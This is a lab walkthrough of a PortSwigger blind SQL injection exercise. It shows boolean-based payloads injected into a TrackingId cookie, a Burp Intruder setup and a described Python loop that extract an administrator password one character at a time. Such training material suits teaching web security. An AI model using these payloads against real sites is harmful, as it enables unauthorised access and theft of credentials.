Skip to content

Blind SQL Injection — Boolean-Based Cookie Injection

Field Value
Platform PortSwigger Web Security Academy
Vulnerability Blind SQL Injection — Boolean-Based
Difficulty Practitioner
Injection Point TrackingId cookie
Goal Extract the administrator password character by character

Phase 1 — Reconnaissance

We land on a shopping center page. The vulnerability is in the TrackingId cookie, which is processed by a SQL query on every request.

Screenshot

Intercepting traffic with Burp Suite and adding a ' to the cookie causes the Welcome back message to disappear:

Screenshot

Adding a true condition brings it back:

Cookie: TrackingId=Yqq23v96zi21TLnf' or 1=1 -- -;
Screenshot

This confirms boolean-based blind injection — the page responds differently depending on whether the injected condition evaluates to true or false. There is no data returned in the response body; the only signal is the presence or absence of "Welcome back".


Phase 2 — Attack Path

Step 1 — Confirm Subquery Execution

Before querying the users table, confirming that subqueries inside the condition are evaluated:

TrackingId=Yqq23v96zi21TLnf' and (select 'x') = 'x' -- -;
Screenshot

"Welcome back" appeared — subqueries are being evaluated inside the condition.


Step 2 — Confirm the Target User Exists

Querying the users table for the administrator row. If the row exists the subquery returns 'x', the condition is true, and "Welcome back" appears:

TrackingId=Yqq23v96zi21TLnf' and (select 'x' from users where username = 'administrator') = 'x' -- -;
Screenshot

"Welcome back" appeared — administrator exists. Confirming a non-existent user returns no "Welcome back":

TrackingId=Yqq23v96zi21TLnf' and (select 'x' from users where username = 'KasaneTeto') = 'x' -- -;
Screenshot

"Welcome back" absent — the row doesn't exist. The behavioral difference is confirmed and reliable.


Step 3 — Determine Password Length

Incrementing the length value until "Welcome back" appears:

TrackingId=Yqq23v96zi21TLnf' and (select 'x' from users where username = 'administrator' and length(password) = 20) = 'x' -- -;
Screenshot

"Welcome back" appeared at length(password) = 20 — the password is 20 characters long.


Step 4 — Extract Password Character by Character

With the length known, each character is extracted individually using SUBSTRING(string, position, length). For each position (1 to 20), every character in a-z + 0-9 is tested until "Welcome back" appears:

TrackingId=Yqq23v96zi21TLnf' and (select substring(password,§1§,1) from users where username = 'administrator') = '§x§' -- -;

Using Burp Intruder with a Cluster Bomb attack — two payload sets running all combinations:

Screenshot
  • Payload 1 (position): numbers 1 to 20
  • Payload 2 (character): a-z lowercase + 0-9

Setting up a Grep Extract rule to match the Welcome back text in the response, which marks the correct character for each position:

Screenshot
Screenshot

Attack results — sorting by position reveals the full password:

Screenshot
2zdd1o9cfwst94ohwvzn

Alternative — Python Automation

The same extraction can be automated with a Python script, avoiding the Burp Intruder rate limits and providing real-time progress output via pwntools log bars. The script iterates through every character position (1 to 20) and for each position tries every character in a-z + 0-9. For each combination it sends a GET request with a crafted TrackingId cookie containing the SUBSTRING payload. If the response body contains Welcome back, the character is confirmed, appended to the recovered password, and the script moves to the next position.

Screenshot
Screenshot
Screenshot

Conclusion

  1. Adding ' to the TrackingId cookie caused "Welcome back" to disappear; or 1=1 -- - restored it — confirming boolean-based blind injection.
  2. Subquery evaluation was confirmed with and (select 'x') = 'x'; user existence was confirmed with a subquery against the users table.
  3. length(password) = 20 returned "Welcome back" — establishing the password length for the extraction loop.
  4. Cluster Bomb Intruder attack with SUBSTRING across positions 1–20 and charset a-z + 0-9 recovered each character; the Grep Extract rule on "Welcome back" identified correct characters. Full password: 2zdd1o9cfwst94ohwvzn.

Key Concepts

Blind SQLi — no output, only behavior — unlike UNION attacks where data appears in the response body, blind SQLi has no visible output. The only signal is a behavioral difference: a message present or absent, a redirect vs. no redirect, or a response time difference. Every piece of information must be inferred from that single bit of feedback.

Boolean-based vs. time-based blind — both are blind, but the signal differs. Boolean-based relies on application behavior (message present/absent); time-based relies on response delay using SLEEP() or WAITFOR DELAY. Boolean-based is preferred when a behavioral difference is reliably observable — it is faster and less dependent on network latency.

SUBSTRING(string, position, length) — the core extraction primitive — extracting one character at a time and comparing it against a known charset is the standard blind extraction loop. For a 20-character password with 36 possible characters, the worst case is 720 requests (20 × 36); Intruder or a script makes this practical.

Cluster Bomb vs. Sniper in Intruder — Sniper cycles one payload set through all marked positions; Cluster Bomb runs all combinations of multiple payload sets simultaneously. For positional brute-force with two independent variables (position and character), Cluster Bomb is the correct mode.

Why automate — manual character-by-character testing is impractical for passwords longer than a few characters. Burp Intruder handles it visually; a Python script is faster, avoids Community Edition rate limiting, and can be adapted to different targets and charsets without reconfiguration.